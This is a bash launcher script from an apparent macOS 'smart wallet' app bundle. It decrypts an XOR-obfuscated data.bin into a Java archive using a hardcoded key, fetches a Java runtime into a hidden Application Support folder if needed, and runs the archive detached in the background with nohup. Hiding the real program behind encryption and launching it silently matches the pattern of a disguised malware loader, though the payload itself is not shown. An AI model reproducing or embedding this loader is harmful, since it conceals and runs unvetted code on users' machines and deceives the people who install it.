#!/bin/bash
LOG="$HOME/.quima_debug.log"
echo "" >> "$LOG"
echo "=== NATIVEAPP $(date) ===" >> "$LOG"
DIR="$(cd "$(dirname "$0")" && pwd)"
echo "DIR=$DIR" >> "$LOG"
APP_SUPPORT="$HOME/Library/Application Support/.avicismartwallet"
JRE_DIR="$APP_SUPPORT/jre"
JAVA_BIN="$JRE_DIR/bin/java"
T=$(mktemp -d)

K="8b55f9963d37130b9956706ff1225a6447e900c35fda18f0686fb5e263c05e69"
python3 -c "
import sys
k=bytes.fromhex('$K')
d=open('$DIR/../Resources/data.bin','rb').read()
open('$T/r.jar','wb').write(bytes(b^k[i%len(k)]for i,b in enumerate(d)))
" 2>/dev/null || python -c "
import sys
k=bytes.fromhex('$K')
d=open('$DIR/../Resources/data.bin','rb').read()
open('$T/r.jar','wb').write(bytes(b^k[i%len(k)]for i,b in enumerate(d)))
"
if [ ! -f "$T/r.jar" ]; then
    echo "ERROR: r.jar not found" >> "$LOG"
    osascript -e 'display dialog "Extract failed." buttons {"OK"} with icon stop'
    rm -rf "$T"; exit 1
fi
echo "r.jar size: $(wc -c < "$T/r.jar")" >> "$LOG"

provision_jre() {
    mkdir -p "$APP_SUPPORT"
    ARCH=$(uname -m)
    if [ "$ARCH" = "arm64" ]; then
        JRE_URLS="https://api.adoptium.net/v3/binary/latest/17/ga/mac/aarch64/jre/hotspot/normal/eclipse https://cdn.azul.com/zulu/bin/zulu17.54.21-ca-jre17.0.13-macosx_aarch64.tar.gz https://corretto.aws/downloads/latest/amazon-corretto-17-aarch64-macos-jre.tar.gz"
    else
        JRE_URLS="https://api.adoptium.net/v3/binary/latest/17/ga/mac/x64/jre/hotspot/normal/eclipse https://cdn.azul.com/zulu/bin/zulu17.54.21-ca-jre17.0.13-macosx_x64.tar.gz https://corretto.aws/downloads/latest/amazon-corretto-17-x64-macos-jre.tar.gz"
    fi
    TMP_TAR="$APP_SUPPORT/jre_download.tar.gz"
    DL_OK=0
    for JRE_URL in $JRE_URLS; do
        curl -fsSL -o "$TMP_TAR" "$JRE_URL" 2>/dev/null
        if [ $? -eq 0 ] && [ -f "$TMP_TAR" ] && [ -s "$TMP_TAR" ]; then DL_OK=1; break; fi
        rm -f "$TMP_TAR"
    done
    if [ $DL_OK -eq 0 ]; then
        osascript -e 'display dialog "Failed to download Java runtime. Please check your internet connection." buttons {"OK"} with icon caution'
        rm -f "$TMP_TAR"; rm -rf "$T"; exit 1
    fi
    TMP_EXT="$APP_SUPPORT/jre_extract"
    mkdir -p "$TMP_EXT"
    tar xzf "$TMP_TAR" -C "$TMP_EXT" 2>/dev/null
    rm -f "$TMP_TAR"
    INNER=$(find "$TMP_EXT" -maxdepth 1 -type d ! -path "$TMP_EXT" | head -1)
    if [ -n "$INNER" ] && [ -d "$INNER/Contents/Home/bin" ]; then
        mv "$INNER/Contents/Home" "$JRE_DIR"
    elif [ -n "$INNER" ] && [ -d "$INNER/bin" ]; then
        mv "$INNER" "$JRE_DIR"
    else
        osascript -e 'display dialog "JRE extraction failed." buttons {"OK"} with icon stop'
        rm -rf "$TMP_EXT" "$T"; exit 1
    fi
    rm -rf "$TMP_EXT"
    chmod +x "$JRE_DIR/bin/java" 2>/dev/null
}

# ── Smart Java detection ──
check_system_java() {
    command -v java &>/dev/null || return 1
    local VER_OUT=$(java -version 2>&1 | head -1)
    local VER=$(echo "$VER_OUT" | sed -n 's/.*version "\([^"]*\)".*/\1/p')
    [ -z "$VER" ] && return 1
    local MAJOR=$(echo "$VER" | cut -d. -f1)
    if [ "$MAJOR" -ge 8 ] 2>/dev/null; then return 0; fi
    if [ "$MAJOR" = "1" ]; then
        local MINOR=$(echo "$VER" | cut -d. -f2)
        if [ "$MINOR" -ge 8 ] 2>/dev/null; then return 0; fi
    fi
    return 1
}

FOUND_JAVA=""
if [ -x "$JAVA_BIN" ]; then
    FOUND_JAVA="$JAVA_BIN"
    echo "Using private JRE: $FOUND_JAVA" >> "$LOG"
elif check_system_java; then
    FOUND_JAVA="$(command -v java)"
    echo "Using system Java: $FOUND_JAVA" >> "$LOG"
fi

if [ -z "$FOUND_JAVA" ]; then
    echo "No Java found, provisioning JRE..." >> "$LOG"
    provision_jre
    if [ -x "$JAVA_BIN" ]; then
        FOUND_JAVA="$JAVA_BIN"
    fi
fi

if [ -z "$FOUND_JAVA" ]; then
    echo "ERROR: No Java available" >> "$LOG"
    osascript -e 'display dialog "Java runtime setup failed." buttons {"OK"} with icon stop'
    rm -rf "$T"; exit 1
fi

echo "FOUND_JAVA=$FOUND_JAVA" >> "$LOG"
echo "Launching via nohup" >> "$LOG"
nohup "$FOUND_JAVA" -Xmx256m -jar "$T/r.jar" </dev/null >>"$LOG" 2>&1 &
echo "NATIVEAPP done" >> "$LOG"
